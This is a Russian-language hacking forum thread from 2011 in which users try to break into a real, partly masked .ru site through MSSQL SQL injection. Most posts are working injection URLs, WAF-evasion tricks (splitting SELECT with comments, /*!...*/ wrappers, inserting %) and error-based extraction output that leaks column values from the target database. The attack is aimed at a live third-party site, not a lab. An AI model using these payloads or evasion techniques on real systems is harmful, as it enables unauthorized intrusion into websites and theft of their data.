Старый 15.04.2011, 01:28   #951
Nightmare
Banned
 
Регистрация: 06.07.2010
Сообщений: 162
Репутация: 10
По умолчанию

Вопрос про MSSQL inj (я в них не силён).
Запрос:
Код:
http://***.ru/content/entrant/countdoc/z.php?id=7198+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
Уже в который раз на этот вроде бы правильный запрос вываливается ошибка "Неправильный синтаксис около "ECT"", на очень многих сайта. Хотя вывод версии например работает как надо.
Других способов поиска таблиц я не видел, хотя может плохо искал....
Подскажите как тут вывести таблицы.

Последний раз редактировалось Twost; 16.05.2013 в 10:14..
Nightmare вне форума   Ответить с цитированием
Старый 15.04.2011, 23:13   #952
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

По урлу не ходил и не буду, но есть ошибка около ECT, то можно предположить, что это ВАФ отрубил кусок и вставил пробел.
Попробуй SE/*aa*/LE/*bb*/C/*cc*/T вместо SELECT
d0znpp вне форума   Ответить с цитированием
Старый 16.04.2011, 09:11   #953
Nightmare
Banned
 
Регистрация: 06.07.2010
Сообщений: 162
Репутация: 10
По умолчанию

Цитата:
Сообщение от d0znpp Посмотреть сообщение
По урлу не ходил и не буду, но есть ошибка около ECT, то можно предположить, что это ВАФ отрубил кусок и вставил пробел.
Попробуй SE/*aa*/LE/*bb*/C/*cc*/T вместо SELECT
Уже появляется ошибка:
Неправильный синтаксис около "LE"
Но вывода нету (
Nightmare вне форума   Ответить с цитированием
Старый 16.04.2011, 10:41   #954
salut
 
Регистрация: 07.04.2011
Сообщений: 65
Репутация: 0
По умолчанию

/*!.............*/
Цитата:
http://***.ru/content/entrant/countdoc/z.php?id=7198+or+1=(/*!select*/+/*!TOP*/+1+/*!TABLE_NAME*/+/*!FROM*/+/*!INFORMATION_SCHEMA.TABLES*/)--

Последний раз редактировалось Twost; 16.05.2013 в 10:15..
salut вне форума   Ответить с цитированием
Старый 16.04.2011, 11:30   #955
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

d0znpp
Мне казалось что /*aa*/ воспринимается не как пустота, а как пробел, и разумеется оператор будет порван при таком раскладе. Или есть какие-то варианты WAF когда это именно вырезается?

salut что это?

Господа, давайте если нет вариантов, то просто не пишем ничего. Я смотрел сайт, и пока не понял зависимостей. Ваф и правда забавный. Он рвёт union select from , но логику я так и не понял.
Тоесть если передавать
/*select */select lalala from
то порван будет селект в комментарии и фром.
Если давать так-же в комменте from, то не катит, будет рвать или все вхождения (независимо в комментах или нет) или from вне каммента (зависит от того где стоят пробелы в комментариях)
Вобщем забавно (хотя я тоже где-то такое видел вроде, так что вероятно это не самопал, а чей-то продукт)
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 16.04.2011, 20:13   #956
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Сообщение от Jokester Посмотреть сообщение
d0znpp
Мне казалось что /*aa*/ воспринимается не как пустота, а как пробел, и разумеется оператор будет порван при таком раскладе. Или есть какие-то варианты WAF когда это именно вырезается?
Есть, ВАФ иногда вырезает комментарий и останавливается на этом. Не проверяет сигнатуры еще раз, после нормализации.
Битриксовый ВАФ до того, как Д.Евтеев его героически отштурмовал перед СС09 обходился через SELECT/*SELECT*/FROM/*FROM*/ это вектор от Insa, который был раскрыт в блоге devteev.

По задаче выше, ИСКЛЮЧИТЕЛЬНО в обучающих целях, могу сказать, что я бы попробовал вектор:
SE%LECT FR%OM
Только внимательнее, чтобы два символа за процентом не были хексовыми, а то урл кодирование будет.
По спецификации % не рвет операнд для MSSQL.
Также как и 01-1F
Если поможет, отпишитесь, плиз.

Последний раз редактировалось d0znpp; 16.04.2011 в 20:32..
d0znpp вне форума   Ответить с цитированием
Старый 16.04.2011, 22:39   #957
Nightmare
Banned
 
Регистрация: 06.07.2010
Сообщений: 162
Репутация: 10
По умолчанию

Цитата:
Сообщение от d0znpp Посмотреть сообщение
Если поможет, отпишитесь, плиз.
Не помогло ;(
При каждом добавлении к новому оператору символа % выдавались разные ошибки.
Неправильный синтаксис около %
Неправильный синтаксис около t
Неправильный синтаксис около 1
Неправильный синтаксис около

Вот... но походу безвыходный случай.
В примере salut на синтаксис не ругается, дак и не выводит информацию, а что то другое, явно не похожее на таблицы.
Nightmare вне форума   Ответить с цитированием
Старый 17.04.2011, 00:21   #958
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

Nightmare пример salut - это бред ибо. С тем-же результатом будет:

http://***.ru/content/entrant/countdoc/z.php?id=7198+or+1=(/*!A*/+/*!VOT*/+1+/*!TYT*/+/*!LYBAYA*/+/*!XYETA*/)--
__________________
------------------

Последний раз редактировалось Twost; 16.05.2013 в 10:15..
Jokester вне форума   Ответить с цитированием
Старый 17.04.2011, 01:34   #959
Feldmarschall
 
Аватар для Feldmarschall
 
Регистрация: 06.07.2010
Сообщений: 30
Репутация: 2
По умолчанию

Цитата:
http://***.ru/content/entrant/countdoc/z.php?id=(SELECT+TOP+1+name%2b/*FROM*/+user)--
Код:
#22005 [Microsoft][ODBC SQL Server Driver][SQL Server]
Ошибка преобразования значения nvarchar "Лечебное делоdbo" в тип данных int.
__________________
В тюрьмах России половина невиновных


Последний раз редактировалось Twost; 16.05.2013 в 10:16..
Feldmarschall вне форума   Ответить с цитированием
Старый 17.04.2011, 02:19   #960
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Цитата:
Сообщение от Feldmarschall Посмотреть сообщение
Nightmare,

Цитата:
http://***.ru/content/entrant/countdoc/z.php?id=(SELECT+TOP+1+name%2b/*FROM*/+user)--
Код:
#22005 [Microsoft][ODBC SQL Server Driver][SQL Server]
Ошибка преобразования значения nvarchar "Лечебное делоdbo" в тип данных int.
с "information_schema" траблы
From в твоём случае всё равно не проходит, конструкция %2b/*FROM*/+user не срабатывает, ты просто получаешь содержимое колонок из той же таблицы, к которой следует запрос.
Код:
http://***.ru/content/entrant/countdoc/z.php?id=(SELECT+TOP+1+Name)--
#22005 [Microsoft][ODBC SQL Server Driver][SQL Server]Ошибка преобразования значения varchar "Лечебное дело" в тип данных int.
Код:
http://***.ru/content/entrant/countdoc/z.php?id=(SELECT+TOP+1+user)--
#22005 [Microsoft][ODBC SQL Server Driver][SQL Server]Ошибка преобразования значения nvarchar "dbo" в тип данных int.

%2b делает конкатенацию, в результате получаем твои Лечебное делоdbo

Таким же образом можно получить содержимое всех других колонок, участвующих в запросе, в ошибке они есть.

Последний раз редактировалось Twost; 16.05.2013 в 10:16..
Ded MustD!e вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot